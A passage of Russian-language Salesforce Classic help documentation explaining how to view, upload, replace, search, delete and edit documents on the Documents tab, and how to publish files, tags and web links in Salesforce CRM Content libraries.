Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Документы»:
• «Чтение» для документов

Для просмотра документов:
• «Чтение» для документов

Для загрузки новых
документов:
• «Создание» для

документов

При выборе вкладки «Документы» отображается начальная страница документов.

Прим.: Если вкладка «Документы» недоступна, настройте параметры ее
отображения.

• Чтобынайти нужный документ, введите ключевые слова и нажмите кнопку «Найти
документ».

• Чтобы просмотреть все документы, доступные в определенной папке, выберите
нужную папку в разделе «Папки документов».

• Раздел «Недавние документы» содержит последние 10 или 25 документов,
просмотренных пользователем; самые последние просмотренные документы
отображаются в списке первыми. Данный список формируется на основе недавних
элементов и содержит записи, за которые несут ответственность текущий и другие
пользователи. Чтобы изменить количество отображаемых элементов, выберите
ссылку «Показать 25 элем.» или «Показать 10 элем.».

• Чтобы загрузить новый документ, нажмите кнопку «Создать» в разделе «Недавние
документы».

Прим.: Вкладка «Документы» не является частью Salesforce CRM Content.

СМ. ТАКЖЕ:

Загрузка и замена документов

Просмотр списков документов
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Просмотр списков документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра документов:
• «Чтение» для документов

Для изменения свойств
документов:
• «Редактирование» для

документов

Для замены документов:
• «Редактирование» для

документов

Для удаления документов:
• «Удаление» для

документов

Страница со списком документов содержит документы, доступные в выбранной папке.
Даннаястраницапозволяетпросматриватьподробныесведенияодокументахиуправлять
ими.

• Чтобы просмотреть свойства документа, щелкните имя нужного документа.

• Чтобы отредактировать свойства документа, щелкните ссылку «Правка».

• Чтобыоткрытьфайлв связанномприложении, щелкните ссылку «Просмотр». Если
типфайлане определяется илиприложениене загруженона компьютер, то система
Salesforceотображаетстандартноедиалоговоеокнозагрузки, поддерживающеевыбор
параметров сохранения.

• Чтобы просмотреть список документов, сохраненных в папку, выберите нужную
папку.

• Чтобыотсортироватьдокументыповозрастаниюилиубываниюнаосновесведений,
указанных в столбце, щелкните заголовок нужного столбца.

• Чтобыпросмотретьсодержимоестолбцасортировки, начинающеесясопределенной
буквы, щелкните нужную букву вверху списка.

• Чтобы просмотреть следующий или предыдущий набор документов, щелкните
ссылку «Следующая страница» или «Предыдущая страница».

• Чтобы показать или скрыть дополнительные записи, щелкните ссылку «больше»
или «меньше» внизу списка документов.

• Чтобы открыть текущее списковое представление, предназначенное для печати,
щелкните ссылку «Версия для печати».

Прим.: Документ, которыйнеможетбытьнайден, можетхраниться внедоступной
папке.

СМ. ТАКЖЕ:

Изменение авторов документа
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Загрузка и замена документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки новых
документов:
• «Создание» для

документов

Для замены документов:
• «Редактирование» для

документов

Загрузка нового документа

Чтобы загрузить документ, выполните указанные ниже действия.

1. Нажмитекнопку«Создатьдокумент»навкладке «Документы» иликнопку«Создать»
в разделе «Недавние документы» на начальной странице документов. Отсутствие
кнопки «Создать документ» указывает на отсутствие необходимых полномочий.

2. Заполните описательное поле «Имя документа» на странице «Загрузить новый
документ». Чтобы использовать имя файла, пропустите данное поле. Имя файла
отображается автоматически при его загрузке.

3. Приналичииполномочия «Настройкаприложения» введитеуникальноеимя, которое
должно использоваться интерфейсом API и управляемыми пакетами.

4. Установите один из указанных ниже флажков.

• «Индикация внутреннего документа»: Данныйфлажок добавляет метку к
документу и указывает на возможность использования данного файла только
внутри организации.

Прим.: Установка данногофлажка не инициирует открытого выполнения
правил безопасности.

• «Доступен внешне как изображение»: если документом является
неконфиденциальное изображение (например, логотип). Установите данныйфлажок, чтобы:

– разрешить доступ к изображению в HTML-шаблонах эл. почты без требования имени пользователя и пароля
Salesforce

– использоватьизображениевкачестве значканастраиваемойвкладкиилилоготипанастраиваемогоприложения,
который может быть просмотрен только после ввода имени пользователя и пароля Salesforce

– отображать изображение в качестве настраиваемого логотипа в запросах на проведение конференции

Флажки «Индикация внутреннего документа» и «Доступен внешне как изображение» являются
взаимоисключающими и не могут быть установлены одновременно.

5. Выберите папку для документа.

6. Введите описание, которое должно использоваться в качестве критерия поиска.

7. Введите ключевые слова, которые могут использоваться в качестве критериев поиска.

8. Выберите документ или путь.

• Чтобы загрузить документ, нажмите кнопку «Обзор...», выберите нужныйфайл и нажмите кнопку «Открыть».

• Чтобы сохранить ссылку на документ, введите область документа. Введите путь и имя файла или URL-адрес.
Например: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc или
http://www.salesforce.com.

9. Нажмите кнопку «Сохранить».

Замена документа

Чтобы заменить документ обновленной версией, выполните указанные ниже действия.
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1. Откройте нужный документ. Дополнительную информацию о поиске документа в библиотеке документов см. в
разделе «Поиск документов».

2. Щелкните «Заменить документ».

3. Выберите документ или путь.

• Чтобы загрузить замену, нажмите кнопку «Обзор...», выберите нужныйфайл и нажмите кнопку «Открыть».

• Чтобы сохранить ссылку на замену, введите соответствующий путь. Введите путь и имя файла или URL-адрес.
Например: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc или
http://www.salesforce.com.

4. Щелкните «Заменить документ».

Советы по загрузке и замене документов

• Документы, хранимые в виде ссылок, не могут быть прикреплены к сообщениям эл. почты, но позволяют экономить
пространство библиотеки документов.

• Если включена функция поиска по содержимому документа, то система Salesforce выполняет поиск по всему тексту
документа. При загрузке нового документа или замене старого содержимое документа доступно для поисков.

• Система Salesforce сохраняет дату последней загрузки в качестве даты изменения.

• Разрешается загружать документы, имена которых содержат не более 255 символов, включая расширение.

• Размер загруженногодокументанедолженпревышать5 Мб. Размерлоготипанастраиваемогоприложениянедолжен
превышать 20 Кб.

• Использованное хранилищефайлов организации содержит все файлы, хранящиеся в библиотеке документов.

• При включении параметра безопасности «Запретить загрузку HTML-файлов в качестве вложений или записей
документов» система не позволяет загружать файлы со следующими расширениями: .htm, .html, .htt, .htx,
.mhtm, .mhtml, .shtm, .shtml, .acgi, .svg.

СМ. ТАКЖЕ:

Отображение и редактирование свойств документов

Поиск документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра документов:
• «Чтение» для документов

Чтобы найти определенные документы, нажмите кнопку «Найти документ» на
начальной странице документов.

1. Откройте вкладку «Документы».

2. Введите критериипоиска. Система Salesforce выполняетпоискпо следующимполям:

• Имя документа

• Ключевые слова

• Описание

3. Нажмите кнопку «Найти документ».

Поиск возвращает список документов, соответствующих всем критериям поиска.
Результаты поиска отображаются соответственно проценту совпадения. Поля
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«Ключевые слова» и «Имя документа» используются для определения процента совпадения. Отображаемые поля
являются предопределенными и не могут быть изменены.

Совет: Чтобы выполнить поиск по словам из фразы, воспользуйтесь кавычками. Например, поиск по фразе
«"моилоготипы"» возвращает документы, поля или содержимое которых содержит даннуюточнуюфразу, а также
документы, содержащие сова «мои» и «логотипы». Если кавычки не используются, то поиск возвращает любой
документ, поля или содержимое которого содержит любое введенное слово. Например, поиск по фразе «мои
логотипы» возвращает документы, поля или содержимое которых содержит слова «мои» и «логотипы».

4. Чтобы открыть страницу сведений о документе, выберите нужный документ. Чтобы открыть документ в новом окне,
щелкните ссылку «Просмотр».

Если включена функция поиска по содержимому документа, то система Salesforce выполняет поиск по всему тексту
документа. При загрузке нового документа или замене старого содержимое документа доступно для поисков.

Прим.: Система Salesforce автоматическиопределяет возможность выполненияпоискапо содержимомудокумента.
Содержимоедокумента, помеченногосвойством «Возможность поиска по содержимому документа», обработано
и доступно для поиска. Поиск по содержимому большого документа и выбор свойства «Возможность поиска по
содержимому документа» может занять несколько минут.

Поиск документов может быть выполнен посредством функции глобального поиска.

1. Введите критерии поиска в область, расположенную в верхнем колонтитуле.

2. Чтобыуточнитьрезультатыпоиска, щелкнитессылку «Параметрыпоиска...» враскрывающемсяспискеиустановите
флажок «Документы».

3. Нажмите кнопку «Поиск».

Ниже перечислены типыфайлов, поддерживаемые для поиска по содержимому документов.

Прим.: Содержимое документов, размер которых превышает максимально допустимый, недоступно для поиска;
поиск может быть выполнен по полям документа. Поиск выполняется только по первому миллиону символов.
Остальной текст поиском не охватывается.

Максимальный размерРасширения файлаТип файла

5 Мб.htm, .html, .xhtmlHTML (только текст внутри тега
<body>)

25 Мб.pdfPDF

25 Мб.pot, .pps, .pptPPT

5 Мб.rtfRTF

5 Мб.c, .cpp, .css.csv, .ini, .java,
.log, .sql, .txt

Текст

25 Мб.doc, .dotWord

5 Мб или не более 100 000 ячеек.xls, .xltXLS

5 Мб.xmlXML

В некоторых случаях документы недоступны для поиска. Например:

3379

Создание, публикация и систематизация файловРасширенное сотрудничество



• Еслирасширениефайлаизмененонадругойформат, тодокументнедоступендляпоиска, несмотрянадействительность
обоих расширений. Например, файл .txt, заменненныйфайлом .rtf, недоступен для поиска.

• Документы PDF и Word могут быть недоступны для поиска по причине их защищенности. Чтобы гарантировать
доступностьсодержимогодляпоиска, задайтезначение «Включено» свойству «Извлечениесодержимого» присоздании
документа.

СМ. ТАКЖЕ:

Поиск содержимого

Поиск файлов

Удаление документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления документов:
• «Удаление» для

документов

Для восстановления
документов:
• «Удаление» для

документов

Чтобы удалить документ, щелкните ссылку «Удал.» напротив нужного документа на
странице со списком документов. При необходимости нажмите кнопку «Удалить» на
странице сведений о документе.

Удаленный документ перемещается системой Salesforce в корзину. Чтобы восстановить
документ в библиотеке документов, нажмите кнопку «Восстановить» в корзине.

Прим.:

• Личная папка позволяет удалять любые документы; общедоступная папка
позволяет удалять документы только при наличии полномочия «Управление
общедоступными документами».

• Приудалениидокумента, добавленноговфирменныйбланкили HTML-шаблон
эл. почты, сообщения эл. почты, использующие данныйфирменный бланк
или шаблон, отображают поврежденную ссылку. Чтобы исправить
поврежденную ссылку, удалите документ из корзины.

• Документ, используемый в качестве настраиваемого логотипа в запросах на
проведение встречи, неможет быть удален. Чтобы удалить документ, выберите
другойдокументвкачествелоготипаилиотменитеотображениенастраиваемого
логотипа в запросах на проведение встречи.

СМ. ТАКЖЕ:

Свойства документов

Свойства

Отображение и редактирование свойств документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для документовДля просмотра документов:

«Редактирование» для документовДля обновления свойств:

«Редактирование» для документовДля замены документов:

«Редактирование» для документовДля перемещения документов:
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«Удаление» для документовДля удаления документов:

Отображение документов. Чтобы просмотреть подробные сведения о документе, щелкните имя нужного документа
на начальной странице соответствующей вкладки или на страницах со списками.

Редактирование свойств документа. Чтобы обновить свойства документа, щелкните «Правка».

Обновление документов. Чтобы заменить документ обновленной версией, щелкните «Заменить документ».

Отправка документов по эл. почте. Чтобы отправить документ контакту, щелкните «Отправить документ по эл.
почте», введитенужныесведенияинажмитекнопку «Отправить». Документотправляетсяв качестве вложенияэл. почты
и регистрируется в связанном списке контакта «Журнал действий». Документы, ссылающиеся на URL-адреса вместо
физических файлов, не могут быть отправлены по эл. почте. Документ, являющийся изображением, внедренным в
HTML-шаблон эл. почты (например, логотипфирменного бланка), должен быть помечен свойством «Внешний доступ»
на вкладке «Документы». В противном случае документ доступен только пользователям Salesforce.

Поиск документа. Чтобы найти нужный документ, введите критерии поиска и нажмите кнопку «Найти документ».
Данноедействиеотображаетсписокдокументов, соответствующихкритериямпоиска. Нижеперечисленыполя, доступные
для поиска критериев.

• Имя документа

• Ключевые слова

• Описание

Содержимое документа, помеченного свойством «Возможность поиска по содержимому документа», также доступно
для поиска.

Просмотр содержимого папки. Чтобы просмотреть все документы, доступные в папке, щелкните имя нужной папки.

Перемещение документов. Чтобы сохранить документ в другую папку, щелкните «Правка», выберите новую папку и
нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Изменение авторов документа

Свойства документов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Ниже перечислены свойства, которые хранятся для каждого документа в библиотеке
документов.

ОписаниеПоле

Основноеконтактноелицодлядокумента.
По умолчанию автором считается
пользователь, загрузивший документ
первым. При необходимости автором
может быть назначен любой выбранный
пользователь.

Автор

Имя пользователя, загрузившего файл
первым.

Создано
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ОписаниеПоле

Имя пользователя, загрузившего файл последним.Изменено

Имя папки, содержащей документ.Папка

Флажок, указывающий на возможность поиска по
содержимому документа с помощью кнопки «Найти

С возможностью поиска содержимого документа

документ» на вкладке «Документы». Данныйфлажок
устанавливается системой Salesforce автоматически.

Имя документа, включая расширение файла.Имя документа

Уникальноеимя, используемоедляобозначениядокумента
при использовании Force.com API. Данное имя позволяет

Уникальное имя документа

избежать конфликтов имен при установке управляемых
пакетов. Данное имя должно быть уникальным и может
содержатьтолькобуквы, цифрыисимволыподчеркивания.
Имя должно начинаться с буквы; не может содержать
пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания. Данное поле позволяет разработчику
менятьименанекоторыхкомпонентовуправляемогопакета;
при этом изменения отображаются в организации
подписчика.

Текст, отличающий данный документ от других.Описание

Флажок, добавляющий метку к документу и указывающий
на возможность использования данного файла только

Индикация внутреннего документа

внутри организации. Установка данного флажка не
инициируетоткрытого выполненияправилбезопасности.

Флажки «Индикация внутреннего документа» и «Доступен
внешне как изображение» являются
взаимоисключающими и не могут быть установлены
одновременно.

Флажок, указывающий на то, является ли документ
изображением, доступным для HTML-шаблонов эл. почты

Доступен внешне как изображение

(например, логотип в фирменном бланке), для просмотра
которого в сообщении эл. почты требуется имя
пользователя и пароль Salesforce.

Данныйфлажок указывает, является ли документ
изображением, используемым в качестве логотипа
настраиваемого приложения или значка настраиваемой
вкладки, для просмотра которого требуется имя
пользователя и пароль Salesforce.

Флажки «Индикация внутреннего документа» и «Доступен
внешне как изображение» являются
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ОписаниеПоле

взаимоисключающими и не могут быть установлены
одновременно.

Открытое текстовое поле, содержащее как минимум одно
слово, которое описывает документ. При выполнении

Ключевые слова

поиска программа проверяет данное поле на наличие
совпадений.

Чтобы создать ссылку на документ вместо его загрузки,
заполните данное поле вместо поля «Имя документа».

Путь

Размер документа в байтах.Размер

Тип определяется расширениемфайла. Например, файл
filename.ppt определяется как файл PowerPoint. При

Тип

включении параметра безопасности «Запретить загрузку
HTML-файлов в качестве вложений или записей
документов» система не позволяет загружать файлы со
следующими расширениями: .htm, .html, .htt, .htx,
.mhtm, .mhtml, .shtm, .shtml, .acgi, .svg.

СМ. ТАКЖЕ:

Изменение авторов документа

Изменение авторов документа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения документов:
• «Редактирование» для

документов

Вотличие от других типов записей, ответственность за документыназначается авторам,
так как документыхранятся в папках, контролирующих уровень доступа пользователей.
Автор — это пользователь, загрузившийфайл документа первым.

Чтобы изменить автора документа, выполните указанные ниже действия.

1. Откройте нужный документ.

2. Щелкните ссылку «Изменить» напротив поля «Автор».

Ссылка «Изменить» отображается только на странице сведений и недоступна на
странице редактирования. Отсутствие ссылки «Изменить» указывает на отсутствие
необходимых полномочий.

3. Введитеновоеимя автора. Чтобывыбрать автораиз спискапользователей, щелкните
значок поиска.

4. Чтобыуведомитьновогоавтораоданномизменении, установитефлажок «Отправить
электронное уведомление».

Прим.: Приизмененииавтора система Salesforce сохраняетдоступностьдокумента.

СМ. ТАКЖЕ:

Отображение и редактирование свойств документов
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Salesforce CRM Content

Salesforce CRM Content

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователимогут систематизировать, предоставлятьобщийдоступ, выполнятьпоиск
и управлять всеми типамифайлов внутриорганизациииво всемприложении Salesforce.

Приложение Salesforce CRM Contentпозволяет систематизировать, предоставлятьобщий
доступ, выполнять поиск и управлять содержимым в пределах организации, а также в
основных областях системы Salesforce. Содержимое может включатьфайлы всех типов:
от традиционныхкорпоративныхпрезентацийвформате Microsoft PowerPoint®до аудио-
и видеофайлов, веб-страниц и документов Google®.

Дополнительную информацию о разных способах использования файлов в системе
Salesforce см. в разделе «Разницамежду вкладкой "Файлы", Salesforce CRM Content, Salesforce
Knowledge, вкладкой "Документы" и связанным списком "Вложения"».

Общие сведения

ПриложениеSalesforce CRM Contentобеспечиваетудобноеуправлениесодержимымпутемвнедренияинтуитивно-понятных
функций в перечисленные ниже задачи.

Систематизация
Вотличиеотобычногохраненияфайловвпапках, затрудняющегопоискнужнойинформации, приложение Salesforce
CRM Contentхранитфайлывспециальныххранилищах, известныхкак «библиотеки». Администраторымогут создавать
библиотеки на основе любой классификации (например, по названию отдела, рабочимфункциям или группам) и
определять полномочия пользователей, необходимые для безопасного доступа к содержимому библиотеки. Для
классификации и систематизации содержимого библиотек авторы могут присваивать файлам специальные
описательныеметки, называемыетегами. Пользовательможетпросмотретьвсесодержимое, помеченноеопределенным
тегом, иливыполнитьфильтрациюрезультатовпоискана основеодногоилинескольких тегов. Кроме того, Salesforce
CRM Content поддерживает личные библиотеки, которые позволяют пользователям систематизировать содержимое
персональных компьютеров посредством таких функций, как поиск документов и управление версиями.

Поиск
Мощный поисковый механизм приложения Salesforce CRM Content выполняет поиск по всему тексту документа и в
свойствах содержимого (заголовок, описание, теги, данные категоризации и имя автора). Результаты поиска могут
бытьотфильтрованыпосодержимому, форматуфайла, автору, тегам, библиотекамилинастраиваемымполям, а затем
просмотренысразличнойстепеньюдетализации, ускоряятемсамымпоискнужногосодержимого. Есливорганизации
включена поддержка Chatter, то фильтрация результатов поиска может быть также выполнена по файлам Chatter.
Специальные «интеллектуальные» графики по загрузкам, комментариям, рейтингам и подписчикам позволяют
сравнивать документы с другими результатами поиска.

Подписка
Пользователь, подписавшийся на определенныйфайл, получает электронные уведомления о публикации новых
версий или изменении его свойств. Кроме того, пользователь может подписаться на авторов, теги и библиотеки, что
позволитсэкономитьвремяприпоискеновогоилиобновленногосодержимого. Взависимостиотзаданныхпараметров,
пользователь может получать электронные уведомления в режиме реального времени или один раз в день.

Предварительный просмотр
ПриложениеSalesforce CRM Contentисключаетнеобходимостьзагрузкидокументовбольшогоразмерадляопределения
важности их содержимого. На странице сведений о содержимом отображаются краткие сведения о документе, в том
числе название документа, автор, описание, теги, библиотеки, комментарии и версии, а также количество отданных
голосов, подписчиков и загрузок. Документы Microsoft PowerPoint, Word, Excel и Adobe® PDF могут просматриваться в
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обозревателе без предварительной загрузки. Некоторые аспекты файлов могут не отображаться предварительными
просмотрами. Документы PDF, защищенные от копирования, недоступны для предварительного просмотра.

Добавление содержимого
Приложение Salesforce CRM Content позволяет быстро и легко загружать новые или обновленные файлы. Во время
загрузки пользователь может выбрать библиотеку и тип записи для файла или веб-ссылки, добавить описание,
назначитьтегиизаполнитьлюбыенастраиваемыеполя, используемыедлякатегоризациииопределениясодержимого.
Функцияуправленияверсияминетребуетпроверкиновыхиустаревшихверсийфайлов: пользовательпростозагружает
новую версиюфайла, а приложение Salesforce CRM Content автоматически обновляет список версий на странице
сведений о содержимом. Пользователь может загрузить предыдущие версии файла и прочитать все
комментарии-пояснения автора, которые могли быть добавлены вместе с новой версией.

Просмотр сведений об использовании и добавление отзывов
Приложение Salesforce CRM Content поддерживает несколько способов определения важности содержимого.
Содержимое, помеченное в качестве специального, отображается в результатах поиска чаще. Голосование пофайлу,
веб-ссылкеилидокументуGoogle, а такжедобавлениекомментариев, позволяетприниматьнепосредственноеучастие
вповышениикачества содержимого. Крометого, пользователимогутпросматриватьименаподписчиковиколичество
загрузок. Вкладка «Отчеты» позволяет создавать стандартные или настраиваемые отчеты по данным Salesforce CRM
Content. Есливорганизациивключенафункциядоставкисодержимого, топользователимогутотправлять содержимое
своим коллегам, интересам и контактам, а затем отслеживать количество его предварительных просмотров или
загрузок.

Предоставление общего доступа к содержимому в системе Salesforce
Приложение Salesforce CRM Content поддерживает возможность использования интересов, организаций, контактов,
возможностей, обращений, продуктов и настраиваемых объектов. Например, приложение Salesforce CRM Content,
поддержка которого включена на вкладке «Возможности», использует поля на странице сведенийо возможности для
поиска файлов, относящихся к данной возможности. При необходимости пользователь может детализировать
результатыпоискаиливыполнитьотдельныйпоискидобавитьнужныефайлыввозможность. Текущаяверсияфайла
отображается на странице сведений о возможности в течение всего срока ее существования.

Предоставление общего доступа к содержимому в приложении Salesforce Classic Mobile
Приложение Salesforce CRM Content доступнов Salesforce Classic Mobile. Пользователи, отсутствующиена своихрабочих
местах, могут предоставлять своим клиентам и коллегам общий доступ к содержимому посредством мобильного
приложения. Чтобы настроить мобильное приложение Salesforce CRM Content, обратитесь к администратору.

СМ. ТАКЖЕ:

Разница между вкладкой «Файлы», Salesforce CRM Content, Salesforce Knowledge, вкладкой «Документы» и связанным
списком «Вложения»
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Добавление содержимого

Публикация файлов в библиотеки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки и публикации
файлов в общедоступную
библиотеку:
• Флажок «Управление

библиотеками»,
установленный в
определении
полномочий
библиотеки

ИЛИ

Флажок «Добавить
содержимое»,
установленный в
определении
полномочий
библиотеки

Для загрузки и сохранения
файлов в личную
библиотеку:
• Нет

Опубликуйте файлы в библиотеки путем их загрузки с компьютера, добавления из
личной библиотеки в общедоступную или предоставления общего доступа из Chatter.

1. Ниже перечислены действия, доступные на вкладке «Библиотеки».

• Чтобы загрузить файл, щелкните «Добавить» и выберите нужныйфайл на
локальном диске.

• Чтобы опубликовать файлы из личной библиотеки, откройте вкладку «Мои
личныефайлы», выберите нужные файлы ищелкните «Опубликовать
выбранное».

Чтобы предоставить общий доступ к файлам Chatter библиотеке, воспользуйтесь
разделом «Предоставлениеобщегодоступакфайламбиблиотекам»настранице3353
(и пропустите оставшиеся действия).

2. Введите заголовок каждого файла. При необходимости введите описания.

3. При добавлении нового файла, загруженного только что, выберите «Сохранить в
моюличнуюбиблиотеку» или «Опубликовать в общедоступнуюбиблиотеку».
При выборе второго параметра выберите нужную библиотеку. Данная библиотека
будет управляющей (начальной), то есть содержимоеможет быть доступно в другой
библиотеке, но проверено пользователем с полномочиями автора только в
управляющей библиотеке.

4. Принеобходимостивыберите язык. Раскрывающийсясписок «Язык» отображается
толькоприналичиимногоязычнойподдержки. Впротивномслучае, система Salesforce
назначает содержимому личный язык пользователя. Если поиск содержимого
выполняется на определенном языке, то в результатах поиска отображается только
содержимое, связанное с данным языком.

5. Чтобыопубликовать содержимоеотименидругого автора, выберитенужногоавтора
в раскрывающемся списке.

6. Присвойтесодержимомутеги. Возможностьприсвоениятеговопределяетсяправилом
присвоения тегов, назначенным библиотеке.

• Если правило присвоения тегов не задано или администратор назначил
библиотеке правило открытого присвоения тегов, то теги могут быть добавлены
в поле «Теги». При вводе тега приложение Salesforce CRM Content автоматически
предлагает варианты тегов на основе списка «Мои недавние теги» и раздела
«Популярныетеги» на вкладке «Библиотеки». Список «Моинедавние теги» вокне
«Добавить» содержит 20 тегов, использовавшихся последними. Чтобы
автоматически добавить тег в поле «Теги», щелкните нужный тег.

• Если администратор назначил правило управляемого присвоения тегов, то пользователи могут создать тег или
воспользоваться списком предложенных тегов. Чтобы автоматически добавить тег в поле «Теги», щелкните
нужный предложенный тег.

• Еслиадминистраторназначилправилоограниченногоприсвоения тегов, топользователимогут воспользоваться
только списком предложенных тегов. Выбранный тег отображается зеленым цветом.

• Имя тега не может быть изменено или удалено. Теги, удаленные из документа, сохраняются в системе.
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• Теги нечувствительнык регистру. Запрещается использовать два одинаковыхимени тега, даже еслиих начальные
буквы различаются в регистре. Всегда используется регистр исходного тега.

7. Выберите нужный тип записи в раскрывающемся списке. Тип записи определяет настраиваемые поля, доступные
пользователю для классификации и определения содержимого.

8. После заполнения настраиваемых полей нажмите кнопку «Опубликовать» или «Сохранить».

Прим.:

• Уникальные значения настраиваемых полей, заданные для первой версии файла, не добавляются при загрузке
новой версии. Уникальные значения, которые отличаются от предыдущей версии, могут быть заданы в новой
версии.

• Файлы, опубликованные в общедоступную библиотеку, добавляются на вкладку «Файлы», поэтому доступны
другимпользователямChatter ворганизации. Файлы, опубликованныевличнуюбиблиотеку, такжедобавляются
на вкладку «Файлы», но доступны только ответственному сотруднику. Дополнительнуюинформациюоразных
инструментах и решениях, доступных для файлов в системе Salesforce, см. в разделе «Разница между вкладкой
"Файлы", Salesforce CRM Content, Salesforce Knowledge, вкладкой "Документы" и связанным списком "Вложения"».

• Версии Contact Manager, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition и Performance Edition
позволяют ежедневно публиковать не более 36 000 новых версий. Версия Developer Edition и пробные версии
позволяют ежедневно публиковать не более 2 500 новых версий.

СМ. ТАКЖЕ:

Обновление версий содержимого

Создание и изменение пакетов содержимого в Salesforce CRM Content
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Загрузка и публикация содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки и публикации
файлов или веб-ссылок:
• Флажок «Управление

библиотеками»,
установленный в
определении
полномочий
библиотеки

ИЛИ

Флажок «Добавить
содержимое»,
установленный в
определении
полномочий
библиотеки

Для создания и публикации
документов Google:
• Аккаунт Google Apps

Чтобы воспользоваться преимуществами настройки полномочий и доставкой
содержимого в Salesforce CRM Content, добавьте файлы в библиотеки.

Верхний колонтитул вкладки «Библиотеки» содержит параметры, позволяющие
загружать, классифицировать и публиковать файлы, пакеты содержимого, веб-ссылки
или документы Google в Salesforce CRM Content.

Прим.: Кнопка «Добавитьдокумент Google»навкладке «Библиотеки»доступна
только в том случае, если включен параметр «Добавить документ Google» в службе
Salesforce.

Дополнительнуюинформациюопубликациифайлов, веб-ссылокидокументовGoogle
в Salesforce CRM Content, а также о создании пакетов содержимого, см. в разделах ниже.

• Публикация файлов в библиотеки

• Добавление веб-ссылок в Salesforce CRM Content

• Создание и изменение пакетов содержимого в Salesforce CRM Content

СМ. ТАКЖЕ:

Обновление версий содержимого

Создание доставок содержимого
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Ограничения по размеру файлов в Salesforce CRM Content

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведены ограничения по размеру файлов в Salesforce CRM Content.

• 2 Гб

• 2 Гб (включая заголовки) при загрузке посредством Chatter REST API

• 2 Гб (включая заголовки) при загрузке посредством REST API

• 38 Мб при загрузке посредством SOAP API

• 10 Мб для документов Google

• 10 Мб при загрузке посредством Visualforce

СМ. ТАКЖЕ:

Ограничения по размеру файлов в Salesforce

Contribute Web Links to Salesforce CRM Content

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для публикации веб-ссылок
в Salesforce CRM Content:
• Флажок «Управление

библиотеками»,
установленный в
определении
полномочий
библиотеки

ИЛИ

Флажок «Добавить
содержимое»,
установленный в
определении
полномочий
библиотеки

Чтобыклассифицироватьиопубликоватьвеб-ссылку в Salesforce CRM Content, выполните
указанные ниже действия.

1. Откройте вкладку «Библиотеки».

2. Чтобы добавить новую ссылку, нажмите кнопку «Добавить» > «Добавить взамен
ссылку на веб-сайт?». Введите URL-адрес и нажмите кнопку «Добавить». Чтобы
опубликовать ссылку, доступную в личной библиотеке, откройте вкладку «Мои
личныефайлы», найдите нужную ссылку и щелкните «Опубликовать».

3. Введите заголовок и описание веб-ссылки.

4. Выберите библиотеку. Данная библиотека будет управляющей (начальной), то есть
веб-ссылка может быть доступна в другой библиотеке, но страница сведений о
содержимом может быть изменена пользователем с соответствующими
полномочиями только в управляющей библиотеке. Чтобы скрыть ссылку от других
пользователейорганизации, установитепереключатель«Сохранитьвмоюличную
библиотеку».

5. Принеобходимостивыберите язык. Раскрывающийсясписок «Язык» отображается
толькоприналичиимногоязычнойподдержки. Впротивномслучае, система Salesforce
назначает содержимому личный язык пользователя. Если поиск содержимого
выполняется на определенном языке, то в результатах поиска отображается только
содержимое, связанное с данным языком.

6. Чтобыопубликовать содержимоеотименидругого автора, выберитенужногоавтора
в раскрывающемся списке.

7. Присвойтесодержимомутеги. Возможностьприсвоениятеговопределяетсяправилом
присвоения тегов, назначенным библиотеке.

• Если правило присвоения тегов не задано или администратор назначил
библиотеке правило открытого присвоения тегов, то теги могут быть добавлены
в поле «Теги». При вводе тега приложение Salesforce CRM Content автоматически
предлагает варианты тегов на основе списка «Мои недавние теги» и раздела
«Популярныетеги» на вкладке «Библиотеки». Список «Моинедавние теги» вокне
«Добавить» содержит 20 тегов, использовавшихся последними. Чтобы
автоматически добавить тег в поле «Теги», щелкните нужный тег.
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• Если администратор назначил правило управляемого присвоения тегов, то пользователи могут создать тег или
